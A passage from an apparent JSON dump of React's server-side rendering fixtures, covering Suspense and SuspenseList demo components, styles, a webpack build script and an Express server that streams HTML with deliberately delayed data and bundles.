    "content": "import React, {Suspense, unstable_SuspenseList as SuspenseList} from 'react';\n\nexport default function LargeContent() {\n  return (\n    <SuspenseList revealOrder=\"forwards\" tail=\"visible\">\n      <Suspense fallback={null}>\n        <p>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Mauris\n          porttitor tortor ac lectus faucibus, eget eleifend elit hendrerit.\n          Integer porttitor nisi in leo congue rutrum. Morbi sed ante posuere,\n          aliquam lorem ac, imperdiet orci. Duis malesuada gravida pharetra.\n          Cras facilisis arcu diam, id dictum lorem imperdiet a. Suspendisse\n          aliquet tempus tortor et ultricies. Aliquam libero velit, posuere\n          tempus ante sed, pellentesque tincidunt lorem. Nullam iaculis, eros a\n          varius aliquet, tortor felis tempor metus, nec cursus felis eros\n          aliquam nulla. Vivamus ut orci sed mauris congue lacinia. Cras eget\n          blandit neque. Pellentesque a massa in turpis ullamcorper volutpat vel\n          at massa. Sed ante est, auctor non diam non, vulputate ultrices metus.\n          Maecenas dictum fermentum quam id aliquam. Donec porta risus vitae\n          pretium posuere. Fusce facilisis eros in lacus tincidunt congue.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Pellentesque habitant morbi tristique senectus et netus et malesuada\n          fames ac turpis egestas. Phasellus dolor ante, iaculis vel nisl vitae,\n          ornare ornare orci. Praesent sit amet lobortis sapien. Suspendisse\n          pharetra posuere libero ut dapibus. Donec condimentum ante urna.\n          Aliquam laoreet tincidunt lacus, sed interdum tortor dapibus\n          elementum. Nam sed faucibus lorem. Suspendisse finibus, velit sed\n          molestie finibus, risus purus mollis ante, sit amet aliquet sapien\n          nulla ut nibh. In eget ligula metus. Duis in purus mattis, blandit\n          magna nec, dictum nunc.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Sed convallis magna id tortor blandit dictum. Suspendisse in porttitor\n          neque. Integer quis metus consequat, rutrum est sit amet, finibus\n          justo. In hac habitasse platea dictumst. Nullam sagittis, risus sed\n          vehicula porta, sapien elit ultrices nibh, vel luctus odio tortor et\n          ante. Sed porta enim in hendrerit tristique. Pellentesque id feugiat\n          libero, sit amet tempor enim. Proin gravida nisl justo, vel ornare\n          dolor bibendum ac. Mauris scelerisque mattis facilisis. Praesent\n          sodales augue mollis orci vulputate aliquet. Mauris molestie luctus\n          neque, sed congue elit congue ut. Cras quis tortor augue. In auctor\n          nulla vel turpis dapibus egestas. Phasellus consequat rhoncus nisi sed\n          dignissim. Quisque varius justo non ex lobortis finibus cursus nec\n          justo. Nulla erat neque, commodo et sem convallis, tristique faucibus\n          odio.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Ut condimentum volutpat sem, id accumsan augue placerat vel. Donec ac\n          efficitur turpis. Suspendisse pretium odio euismod sapien bibendum,\n          sed tempus est condimentum. Etiam nisl magna, consequat at ullamcorper\n          at, sollicitudin eu eros. In mattis ligula arcu. Sed eu consectetur\n          turpis, id molestie ligula. Vestibulum et venenatis enim. Donec\n          condimentum vitae nisi et placerat. Sed fringilla vehicula egestas.\n          Proin consectetur, nibh non ornare scelerisque, diam lorem cursus\n          lectus, ut mattis mauris purus id mi. Curabitur non ligula sit amet\n          augue molestie vulputate. Donec maximus magna at volutpat aliquet.\n          Pellentesque dignissim nulla eget odio eleifend tincidunt. Etiam diam\n          lorem, ornare vel scelerisque vel, iaculis id risus. Donec aliquet\n          aliquam felis, ac vehicula lacus suscipit vitae. Morbi eu ligula elit.\n        </p>\n      </Suspense>\n      <p>This should appear in the first paint.</p>\n      <Suspense fallback={null}>\n        <p>\n          Praesent pellentesque, libero ut faucibus tempor, purus elit consequat\n          metus, in ornare nulla lectus at erat. Duis quis blandit turpis. Fusce\n          at ligula rutrum metus molestie tempor sit amet eu justo. Maecenas\n          tincidunt nisl nunc. Morbi ac metus tempor, pretium arcu vel, dapibus\n          velit. Nulla convallis ligula at porta mollis. Duis magna ante, mollis\n          eget nibh in, congue tempor dolor. Sed tincidunt sagittis arcu, in\n          ultricies neque tempor non. Suspendisse eget nunc neque. Nulla sit\n          amet odio volutpat, maximus purus id, dictum metus. Integer consequat,\n          orci nec ullamcorper porta, mauris libero vestibulum ipsum, nec tempor\n          tellus enim non nunc. Quisque nisl risus, dapibus sit amet purus nec,\n          aliquam finibus metus. Nullam condimentum urna viverra finibus cursus.\n          Proin et sollicitudin tellus, porta fermentum felis. Maecenas ac\n          turpis sed dui condimentum interdum sed sed erat. Mauris ut dignissim\n          erat.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Proin varius porta dui, id fringilla elit lobortis eget. Integer at\n          metus elementum, efficitur eros id, euismod est. Morbi vestibulum nibh\n          ac leo luctus sagittis. Praesent rhoncus, risus sit amet mattis\n          dictum, diam sapien tempor neque, vel dignissim nulla neque eget ex.\n          Nam sollicitudin metus quis ullamcorper dapibus. Nam tristique euismod\n          efficitur. Pellentesque rhoncus vel sem eget lacinia. Pellentesque\n          volutpat velit ac dignissim luctus. Vivamus euismod tortor at ligula\n          mattis porta. Vestibulum ante ipsum primis in faucibus orci luctus et\n          ultrices posuere cubilia curae;\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Proin blandit vulputate efficitur. Pellentesque sit amet porta odio.\n          Nunc pulvinar varius rhoncus. Mauris fermentum leo a imperdiet\n          pretium. Mauris scelerisque justo vel ante egestas, eget tempus neque\n          malesuada. Sed dictum ex vel justo dignissim, aliquam commodo diam\n          rutrum. Integer dignissim est ullamcorper augue laoreet consectetur id\n          at diam. Vivamus molestie blandit urna, eget pulvinar augue dictum\n          vestibulum. Duis maximus bibendum mauris, ut ultricies elit rhoncus\n          eu. Praesent gravida placerat mauris. Praesent tempor ipsum at nibh\n          rhoncus sagittis. Duis non sem turpis. Quisque et metus leo. Sed eu\n          purus lorem. Pellentesque dictum metus sed leo viverra interdum.\n          Maecenas vel tincidunt mi.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Praesent consequat dapibus pellentesque. Fusce at enim id mauris\n          laoreet commodo. Nullam ut mauris euismod, rhoncus tellus vel,\n          facilisis diam. Aenean porta faucibus augue, a iaculis massa iaculis\n          in. Praesent vel metus purus. Etiam quis augue eget orci lobortis\n          eleifend ac ut lorem. Aenean non orci quis nisi molestie maximus.\n          Mauris interdum, eros et aliquam aliquam, lectus diam pharetra velit,\n          in condimentum odio eros non quam. Praesent bibendum pretium turpis\n          vitae tristique. Mauris convallis, massa ut fermentum fermentum,\n          libero orci tempus ipsum, malesuada ultrices metus sapien placerat\n          lectus. Ut fringilla arcu nec lorem ultrices mattis. Etiam id tortor\n          feugiat magna gravida gravida. Morbi aliquam, mi ac pellentesque\n          mattis, erat ex venenatis erat, a vestibulum eros turpis quis metus.\n          Pellentesque tempus justo in ligula ultricies porta. Phasellus congue\n          felis sit amet dolor tristique finibus. Nunc eget eros non est\n          ultricies vestibulum.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Donec efficitur ligula quis odio tincidunt tristique. Duis urna dolor,\n          hendrerit quis enim at, accumsan auctor turpis. Vivamus ante lorem,\n          maximus vitae suscipit ut, congue eget velit. Maecenas sed ligula\n          erat. Aliquam mollis purus at nisi porta suscipit in ut magna. Vivamus\n          a turpis nec tellus egestas suscipit nec ornare nisi. Donec vestibulum\n          libero quis ex suscipit, sit amet luctus leo gravida.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Praesent pharetra dolor elit, sed volutpat lorem rhoncus non. Etiam a\n          neque ut velit dignissim sodales. Vestibulum neque risus, condimentum\n          nec consectetur vitae, ultricies ut sapien. Integer iaculis at urna\n          sit amet malesuada. Integer tincidunt, felis ac vulputate semper,\n          velit leo facilisis lorem, quis aliquet leo dui id lorem. Morbi non\n          quam quis nisl sagittis consequat nec vitae libero. Nunc molestie\n          pretium libero, eu eleifend nibh feugiat sed. Ut in bibendum diam, sit\n          amet vehicula risus. Nam ornare ac nisi ac euismod. Nullam id egestas\n          nulla. Etiam porta commodo ante sit amet pellentesque. Suspendisse\n          eleifend purus in urna euismod auctor non vel nisi. Suspendisse rutrum\n          est nunc, sit amet lacinia lacus dictum eget. Pellentesque habitant\n          morbi tristique senectus et netus et malesuada fames ac turpis\n          egestas. Morbi a blandit diam.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Donec eget efficitur sapien. Suspendisse diam lacus, varius eu\n          interdum et, congue ac justo. Proin ipsum odio, suscipit elementum\n          mauris sed, porttitor congue est. Cras dapibus dictum ante, vitae\n          gravida elit venenatis sed. Sed massa sem, posuere ut enim sit amet,\n          vestibulum condimentum nibh. Pellentesque pulvinar sodales lacinia.\n          Proin id pretium sapien, non convallis nulla. In mollis tincidunt sem\n          et porttitor.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Integer at sollicitudin sem. Suspendisse sed semper orci. Nulla at\n          nibh nec risus suscipit posuere egestas vitae enim. Nullam mauris\n          justo, mattis vel laoreet non, finibus nec nisl. Cras iaculis ultrices\n          nibh, non commodo eros aliquam non. Sed vitae mollis dui, at maximus\n          metus. Ut vestibulum, enim ut lobortis vulputate, lorem urna congue\n          elit, non dictum odio lorem eget velit. Morbi eleifend id ligula vitae\n          vulputate. Suspendisse ac laoreet justo. Proin eu mattis diam.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Nunc in ex quis enim ullamcorper scelerisque eget ac eros. Class\n          aptent taciti sociosqu ad litora torquent per conubia nostra, per\n          inceptos himenaeos. Aliquam turpis dui, egestas a rhoncus non,\n          fermentum in tellus. Vestibulum ante ipsum primis in faucibus orci\n          luctus et ultrices posuere cubilia curae; Aenean non risus arcu. Nam\n          ultricies lacinia volutpat. Class aptent taciti sociosqu ad litora\n          torquent per conubia nostra, per inceptos himenaeos. Lorem ipsum dolor\n          sit amet, consectetur adipiscing elit.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Aliquam a felis leo. Proin lorem ipsum, congue eu cursus in, rhoncus\n          ut libero. Vestibulum sit amet consequat nunc. Ut eleifend lobortis\n          lacus, vel molestie metus viverra eget. Nullam suscipit eu magna\n          scelerisque suscipit. Donec dictum in diam nec lacinia. Mauris\n          pellentesque ex ut purus facilisis, eget placerat turpis semper. Sed\n          dapibus lorem ante, et malesuada dui eleifend ac. Sed diam felis,\n          semper ac nulla vel, posuere ultricies ante.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Nunc elementum odio sapien, sit amet vulputate lorem varius at. Fusce\n          non sapien vitae lorem aliquam pretium sit amet congue dolor. Nunc\n          quis tortor luctus, pretium ex a, tincidunt urna. Aliquam fermentum\n          massa a erat pharetra varius. Curabitur at auctor dui. Sed posuere\n          pellentesque massa, vel bibendum urna dictum non. Fusce eget rhoncus\n          urna. Maecenas sed lectus tellus. Pellentesque convallis dapibus nisl\n          vitae venenatis. Quisque ornare a dolor ac pharetra. Nam cursus, mi a\n          lacinia accumsan, felis erat fringilla magna, ac mattis nunc ante a\n          orci.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Nunc vel tortor euismod, commodo tortor non, aliquam nisi. Maecenas\n          tempus mollis velit non suscipit. Mauris sit amet dolor sed ex\n          fringilla varius. Suspendisse vel cursus risus. Vivamus pharetra massa\n          nec dolor aliquam feugiat. Fusce finibus enim commodo, scelerisque\n          ante eu, laoreet ex. Curabitur placerat magna quis imperdiet lacinia.\n          Etiam lectus mauris, porttitor ac lacinia sed, posuere eget lacus.\n          Mauris vulputate mattis imperdiet. Nunc id aliquet libero, vitae\n          hendrerit purus. Praesent vestibulum urna ac egestas tempor. In\n          molestie, nunc sit amet sagittis dapibus, ligula enim fermentum mi,\n          lacinia molestie eros dui in tortor. Mauris fermentum pulvinar\n          faucibus. Curabitur laoreet eleifend purus, non tincidunt tortor\n          gravida nec. Nam eu lectus congue, commodo libero et, porttitor est.\n          Nullam tincidunt, nisi eu congue congue, magna justo commodo massa,\n          nec efficitur dui lectus non sem.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Nullam vehicula, ipsum quis lacinia tristique, elit nulla dignissim\n          augue, at pulvinar metus justo ac magna. Nullam nec nunc ac sapien\n          mollis cursus eu ac enim. Pellentesque a pharetra erat. Ut tempor\n          magna nisi, accumsan blandit lectus volutpat nec. Vivamus vel lorem\n          nec eros blandit dictum eget ac diam. Nulla nec turpis dolor. Morbi eu\n          euismod libero. Nam ut tortor at arcu porta tincidunt. In gravida\n          ligula fringilla ornare imperdiet. Nulla scelerisque ante erat,\n          efficitur dictum metus ullamcorper vel. Nam ac purus metus. Maecenas\n          eget tempus nulla. Ut magna lorem, efficitur ut ex a, semper aliquam\n          magna. Praesent lobortis, velit ac posuere mattis, justo est accumsan\n          turpis, id sagittis felis mi in lacus.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Aenean est mi, semper nec sem at, malesuada consectetur nunc. Aenean\n          consequat sem quis sem consequat, non aliquam est placerat. Cras\n          malesuada magna neque, et pellentesque nibh consequat at. Sed interdum\n          velit et ex interdum, vel lobortis ante vestibulum. Nam placerat\n          lectus eu commodo efficitur. Pellentesque in nunc ac massa porttitor\n          eleifend ut efficitur sem. Aenean at magna auctor, posuere augue in,\n          ultrices arcu. Praesent dignissim augue ex, malesuada maximus metus\n          interdum a. Proin nec odio in nulla vestibulum.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Aenean est mi, semper nec sem at, malesuada consectetur nunc. Aenean\n          consequat sem quis sem consequat, non aliquam est placerat. Cras\n          malesuada magna neque, et pellentesque nibh consequat at. Sed interdum\n          velit et ex interdum, vel lobortis ante vestibulum. Nam placerat\n          lectus eu commodo efficitur. Pellentesque in nunc ac massa porttitor\n          eleifend ut efficitur sem. Aenean at magna auctor, posuere augue in,\n          ultrices arcu. Praesent dignissim augue ex, malesuada maximus metus\n          interdum a. Proin nec odio in nulla vestibulum.\n        </p>\n      </Suspense>\n      <Suspense fallback={null}>\n        <p>\n          Aenean est mi, semper nec sem at, malesuada consectetur nunc. Aenean\n          consequat sem quis sem consequat, non aliquam est placerat. Cras\n          malesuada magna neque, et pellentesque nibh consequat at. Sed interdum\n          velit et ex interdum, vel lobortis ante vestibulum. Nam placerat\n          lectus eu commodo efficitur. Pellentesque in nunc ac massa porttitor\n          eleifend ut efficitur sem. Aenean at magna auctor, posuere augue in,\n          ultrices arcu. Praesent dignissim augue ex, malesuada maximus metus\n          interdum a. Proin nec odio in nulla vestibulum.\n        </p>\n      </Suspense>\n    </SuspenseList>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr/src/components/Page.css",
    "content": ".link {\n  font-weight: bold;\n  cursor: pointer;\n}\n.light-box {\n  margin: 10px 0;\n  padding: 10px;\n  background-color: #CCCCCC;\n  color: #333333;\n}\n.dark-box {\n  margin: 10px 0;\n  padding: 10px;\n  background-color: #333333;\n  color: #CCCCCC;\n}\n"
  },
  {
    "path": "fixtures/ssr/src/components/Page.js",
    "content": "import React, {Component} from 'react';\n\nimport Theme from './Theme';\nimport Suspend from './Suspend';\n\nimport './Page.css';\n\nconst autofocusedInputs = [\n  <input key=\"0\" autoFocus placeholder=\"Has auto focus\" />,\n  <input key=\"1\" autoFocus placeholder=\"Has auto focus\" />,\n];\n\nexport default class Page extends Component {\n  state = {active: false, value: ''};\n  handleClick = e => {\n    this.setState({active: true});\n  };\n  handleChange = e => {\n    this.setState({value: e.target.value});\n  };\n  componentDidMount() {\n    // Rerender on mount\n    this.setState({mounted: true});\n  }\n  render() {\n    const link = (\n      <a className=\"link\" onClick={this.handleClick}>\n        Click Here\n      </a>\n    );\n    return (\n      <div className={this.context + '-box'}>\n        <Suspend>\n          <p suppressHydrationWarning={true}>\n            A random number: {Math.random()}\n          </p>\n          <p>Autofocus on page load: {autofocusedInputs}</p>\n          <p>{!this.state.active ? link : 'Thanks!'}</p>\n          {this.state.active && <p>Autofocus on update: {autofocusedInputs}</p>}\n          <p>\n            Controlled input:{' '}\n            <input value={this.state.value} onChange={this.handleChange} />\n          </p>\n        </Suspend>\n      </div>\n    );\n  }\n}\nPage.contextType = Theme;\n"
  },
  {
    "path": "fixtures/ssr/src/components/Page2.js",
    "content": "import React, {useContext} from 'react';\n\nimport Theme from './Theme';\nimport Suspend from './Suspend';\n\nimport './Page.css';\n\nexport default function Page2() {\n  let theme = useContext(Theme);\n  return (\n    <div className={theme + '-box'}>\n      <Suspend>Content of a different page</Suspend>\n    </div>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr/src/components/Suspend.js",
    "content": "let promise = null;\nlet isResolved = false;\n\nexport default function Suspend({children}) {\n  // This will suspend the content from rendering but only on the client.\n  // This is used to demo a slow loading app.\n  if (!isResolved) {\n    if (promise === null) {\n      promise = new Promise(resolve => {\n        setTimeout(\n          () => {\n            isResolved = true;\n            resolve();\n          },\n          typeof window === 'object' ? 6000 : 1000\n        );\n      });\n    }\n    throw promise;\n  }\n  return children;\n}\n"
  },
  {
    "path": "fixtures/ssr/src/components/Theme.js",
    "content": "import React, {createContext, useContext, useState} from 'react';\n\nconst Theme = createContext('light');\n\nexport default Theme;\n\nexport function ThemeToggleButton({onChange}) {\n  let theme = useContext(Theme);\n  let [targetTheme, setTargetTheme] = useState(theme);\n  function toggleTheme() {\n    let newTheme = theme === 'light' ? 'dark' : 'light';\n    // High pri, responsive update.\n    setTargetTheme(newTheme);\n    // Perform the actual theme change in a separate update.\n    setTimeout(() => onChange(newTheme), 0);\n  }\n  if (targetTheme !== theme) {\n    return 'Switching to ' + targetTheme + '...';\n  }\n  return (\n    <a className=\"link\" onClick={toggleTheme}>\n      Switch to {theme === 'light' ? 'Dark' : 'Light'} theme\n    </a>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr/src/index.js",
    "content": "import React from 'react';\nimport {Profiler} from 'react';\nimport {hydrateRoot} from 'react-dom/client';\n\nimport App from './components/App';\n\nhydrateRoot(\n  document,\n  <Profiler id=\"root\">\n    <App assets={window.assetManifest} />\n  </Profiler>\n);\n"
  },
  {
    "path": "fixtures/ssr2/README.md",
    "content": "# SSR Fixtures\n\nA set of test cases for quickly identifying issues with server-side rendering.\n\n## Setup\n\nTo reference a local build of React, first run `npm run build` at the root\nof the React project. Then:\n\n```\ncd fixtures/ssr2\nyarn\nyarn start\n```\n\nThe `start` command runs a webpack dev server and a server-side rendering server in development mode with hot reloading.\n\n**Note: whenever you make changes to React and rebuild it, you need to re-run `yarn` in this folder:**\n\n```\nyarn\n```\n\nIf you want to try the production mode instead run:\n\n```\nyarn start:prod\n```\n\nThis will pre-build all static resources and then start a server-side rendering HTTP server that hosts the React app and service the static resources (without hot reloading).\n"
  },
  {
    "path": "fixtures/ssr2/package.json",
    "content": "{\n  \"name\": \"react-ssr\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"engines\": {\n    \"node\": \">=14.9.0\"\n  },\n  \"license\": \"MIT\",\n  \"dependencies\": {\n    \"@babel/core\": \"7.14.3\",\n    \"@babel/register\": \"7.13.16\",\n    \"babel-loader\": \"8.1.0\",\n    \"babel-preset-react-app\": \"10.0.0\",\n    \"compression\": \"^1.7.4\",\n    \"concurrently\": \"^5.3.0\",\n    \"express\": \"^4.17.1\",\n    \"nodemon\": \"^2.0.6\",\n    \"react\": \"^19.0.0\",\n    \"react-dom\": \"^19.0.0\",\n    \"react-error-boundary\": \"^3.1.3\",\n    \"resolve\": \"1.12.0\",\n    \"rimraf\": \"^3.0.2\",\n    \"webpack\": \"4.44.2\",\n    \"webpack-cli\": \"^4.2.0\"\n  },\n  \"devDependencies\": {\n    \"cross-env\": \"^7.0.3\",\n    \"prettier\": \"1.19.1\"\n  },\n  \"scripts\": {\n    \"predev\": \"cp -r ../../build/oss-experimental/* ./node_modules/\",\n    \"prestart\": \"cp -r ../../build/oss-experimental/* ./node_modules/\",\n    \"dev\": \"concurrently \\\"npm run dev:server\\\" \\\"npm run dev:bundler\\\"\",\n    \"start\": \"concurrently \\\"npm run start:server\\\" \\\"npm run start:bundler\\\"\",\n    \"dev:server\": \"cross-env NODE_ENV=development nodemon -- server/server.js\",\n    \"start:server\": \"cross-env NODE_ENV=production nodemon -- server/server.js\",\n    \"dev:bundler\": \"cross-env NODE_ENV=development nodemon -- scripts/build.js\",\n    \"start:bundler\": \"cross-env NODE_ENV=production nodemon -- scripts/build.js\"\n  },\n  \"babel\": {\n    \"presets\": [\n      [\n        \"react-app\",\n        {\n          \"runtime\": \"automatic\"\n        }\n      ]\n    ]\n  },\n  \"nodemonConfig\": {\n    \"ignore\": [\n      \"build/*\"\n    ]\n  }\n}\n"
  },
  {
    "path": "fixtures/ssr2/public/main.css",
    "content": "body {\n  font-family: system-ui, sans-serif;\n}\n\n* {\n  box-sizing: border-box;\n}\n\nnav {\n  padding: 20px;\n}\n\n.sidebar {\n  padding: 10px;\n  height: 500px;\n  float: left;\n  width: 30%;\n}\n\n.post {\n  padding: 20px;\n  float: left;\n  width: 60%;\n}\n\nh1, h2 {\n  padding: 0;\n}\n\nul, li {\n  margin: 0;\n}\n\n.post p {\n  font-size: larger;\n  font-family: Georgia, serif;\n}\n\n.comments {\n  margin-top: 40px;\n}\n\n.comment {\n  border: 2px solid #aaa;\n  border-radius: 4px;\n  padding: 20px;\n}\n\n/* https://codepen.io/mandelid/pen/vwKoe */\n.spinner {\n  display: inline-block;\n  transition: opacity linear 0.1s;\n  width: 20px;\n  height: 20px;\n  border: 3px solid rgba(80, 80, 80, 0.5);\n  border-radius: 50%;\n  border-top-color: #fff;\n  animation: spin 1s ease-in-out infinite;\n  opacity: 0;\n}\n.spinner--active {\n  opacity: 1;\n}\n\n@keyframes spin {\n  to {\n    transform: rotate(360deg);\n  }\n}\n@keyframes spin {\n  to {\n    transform: rotate(360deg);\n  }\n}"
  },
  {
    "path": "fixtures/ssr2/scripts/build.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\nconst path = require('path');\nconst rimraf = require('rimraf');\nconst webpack = require('webpack');\n\nconst isProduction = process.env.NODE_ENV === 'production';\nrimraf.sync(path.resolve(__dirname, '../build'));\nwebpack(\n  {\n    mode: isProduction ? 'production' : 'development',\n    devtool: isProduction ? 'source-map' : 'cheap-module-source-map',\n    entry: [path.resolve(__dirname, '../src/index.js')],\n    output: {\n      path: path.resolve(__dirname, '../build'),\n      filename: 'main.js',\n    },\n    module: {\n      rules: [\n        {\n          test: /\\.js$/,\n          use: 'babel-loader',\n          exclude: /node_modules/,\n        },\n      ],\n    },\n  },\n  (err, stats) => {\n    if (err) {\n      console.error(err.stack || err);\n      if (err.details) {\n        console.error(err.details);\n      }\n      process.exit(1);\n    }\n    const info = stats.toJson();\n    if (stats.hasErrors()) {\n      console.log('Finished running webpack with errors.');\n      info.errors.forEach(e => console.error(e));\n      process.exit(1);\n    } else {\n      console.log('Finished running webpack.');\n    }\n  }\n);\n"
  },
  {
    "path": "fixtures/ssr2/server/delays.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n// Tweak these to play with different kinds of latency.\n\n// How long the data fetches on the server.\nexports.API_DELAY = 2000;\n\n// How long the server waits for data before giving up.\nexports.ABORT_DELAY = 10000;\n\n// How long serving the JS bundles is delayed.\nexports.JS_BUNDLE_DELAY = 4000;\n"
  },
  {
    "path": "fixtures/ssr2/server/render.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport * as React from 'react';\n// import {renderToString} from 'react-dom/server';\nimport {renderToPipeableStream} from 'react-dom/server';\nimport App from '../src/App';\nimport {DataProvider} from '../src/data';\nimport {API_DELAY, ABORT_DELAY} from './delays';\n\n// In a real setup, you'd read it from webpack build stats.\nlet assets = {\n  'main.js': '/main.js',\n  'main.css': '/main.css',\n};\n\nmodule.exports = function render(url, res) {\n  const data = createServerData();\n  // This is how you would wire it up previously:\n  //\n  // res.send(\n  //   '<!DOCTYPE html>' +\n  //   renderToString(\n  //     <DataProvider data={data}>\n  //       <App assets={assets} />\n  //     </DataProvider>,\n  //   )\n  // );\n\n  // The new wiring is a bit more involved.\n  res.socket.on('error', error => {\n    console.error('Fatal', error);\n  });\n  let didError = false;\n  const {pipe, abort} = renderToPipeableStream(\n    <DataProvider data={data}>\n      <App assets={assets} />\n    </DataProvider>,\n    {\n      bootstrapScripts: [assets['main.js']],\n      onAllReady() {\n        // Full completion.\n        // You can use this for SSG or crawlers.\n      },\n      onShellReady() {\n        // If something errored before we started streaming, we set the error code appropriately.\n        res.statusCode = didError ? 500 : 200;\n        res.setHeader('Content-type', 'text/html');\n        pipe(res);\n      },\n      onShellError(x) {\n        // Something errored before we could complete the shell so we emit an alternative shell.\n        res.statusCode = 500;\n        res.send('<!doctype><p>Error</p>');\n      },\n      onError(x) {\n        didError = true;\n        console.error(x);\n      },\n    }\n  );\n  // Abandon and switch to client rendering if enough time passes.\n  // Try lowering this to see the client recover.\n  setTimeout(abort, ABORT_DELAY);\n};\n\n// Simulate a delay caused by data fetching.\n// We fake this because the streaming HTML renderer\n// is not yet integrated with real data fetching strategies.\nfunction createServerData() {\n  let done = false;\n  let promise = null;\n  return {\n    read() {\n      if (done) {\n        return;\n      }\n      if (promise) {\n        throw promise;\n      }\n      promise = new Promise(resolve => {\n        setTimeout(() => {\n          done = true;\n          promise = null;\n          resolve();\n        }, API_DELAY);\n      });\n      throw promise;\n    },\n  };\n}\n"
  },
  {
    "path": "fixtures/ssr2/server/server.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\n'use strict';\n\nconst babelRegister = require('@babel/register');\nbabelRegister({\n  ignore: [/[\\\\\\/](build|server\\/server|node_modules)[\\\\\\/]/],\n  presets: [['react-app', {runtime: 'automatic'}]],\n  plugins: ['@babel/transform-modules-commonjs'],\n});\n\nconst express = require('express');\nconst compress = require('compression');\nconst {readFileSync} = require('fs');\nconst path = require('path');\nconst render = require('./render');\nconst {JS_BUNDLE_DELAY} = require('./delays');\n\nconst PORT = process.env.PORT || 4000;\nconst app = express();\n\napp.use((req, res, next) => {\n  if (req.url.endsWith('.js')) {\n    // Artificially delay serving JS\n    // to demonstrate streaming HTML.\n    setTimeout(next, JS_BUNDLE_DELAY);\n  } else {\n    next();\n  }\n});\n\napp.use(compress());\napp.get(\n  '/',\n  handleErrors(async function (req, res) {\n    await waitForWebpack();\n    render(req.url, res);\n  })\n);\napp.use(express.static('build'));\napp.use(express.static('public'));\n\napp\n  .listen(PORT, () => {\n    console.log(`Listening at ${PORT}...`);\n  })\n  .on('error', function (error) {\n    if (error.syscall !== 'listen') {\n      throw error;\n    }\n    const isPipe = portOrPipe => Number.isNaN(portOrPipe);\n    const bind = isPipe(PORT) ? 'Pipe ' + PORT : 'Port ' + PORT;\n    switch (error.code) {\n      case 'EACCES':\n        console.error(bind + ' requires elevated privileges');\n        process.exit(1);\n        break;\n      case 'EADDRINUSE':\n        console.error(bind + ' is already in use');\n        process.exit(1);\n        break;\n      default:\n        throw error;\n    }\n  });\n\nfunction handleErrors(fn) {\n  return async function (req, res, next) {\n    try {\n      return await fn(req, res);\n    } catch (x) {\n      next(x);\n    }\n  };\n}\n\nasync function waitForWebpack() {\n  while (true) {\n    try {\n      readFileSync(path.resolve(__dirname, '../build/main.js'));\n      return;\n    } catch (err) {\n      console.log(\n        'Could not find webpack build output. Will retry in a second...'\n      );\n      await new Promise(resolve => setTimeout(resolve, 1000));\n    }\n  }\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/App.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n */\n\nimport {Suspense, lazy} from 'react';\nimport {ErrorBoundary} from 'react-error-boundary';\nimport Html from './Html';\nimport Spinner from './Spinner';\nimport Layout from './Layout';\nimport NavBar from './NavBar';\n\nconst Comments = lazy(() => import('./Comments' /* webpackPrefetch: true */));\nconst Sidebar = lazy(() => import('./Sidebar' /* webpackPrefetch: true */));\nconst Post = lazy(() => import('./Post' /* webpackPrefetch: true */));\n\nexport default function App({assets}) {\n  return (\n    <Html assets={assets} title=\"Hello\">\n      <Suspense fallback={<Spinner />}>\n        <ErrorBoundary FallbackComponent={Error}>\n          <Content />\n        </ErrorBoundary>\n      </Suspense>\n    </Html>\n  );\n}\n\nfunction Content() {\n  return (\n    <Layout>\n      <NavBar />\n      <aside className=\"sidebar\">\n        <Suspense fallback={<Spinner />}>\n          <Sidebar />\n        </Suspense>\n      </aside>\n      <article className=\"post\">\n        <Suspense fallback={<Spinner />}>\n          <Post />\n        </Suspense>\n        <section className=\"comments\">\n          <h2>Comments</h2>\n          <Suspense fallback={<Spinner />}>\n            <Comments />\n          </Suspense>\n        </section>\n        <h2>Thanks for reading!</h2>\n      </article>\n    </Layout>\n  );\n}\n\nfunction Error({error}) {\n  return (\n    <div>\n      <h1>Application Error</h1>\n      <pre style={{whiteSpace: 'pre-wrap'}}>{error.stack}</pre>\n    </div>\n  );\n}\n"
  },
  {
    "path": "fixtures/ssr2/src/Comments.js",
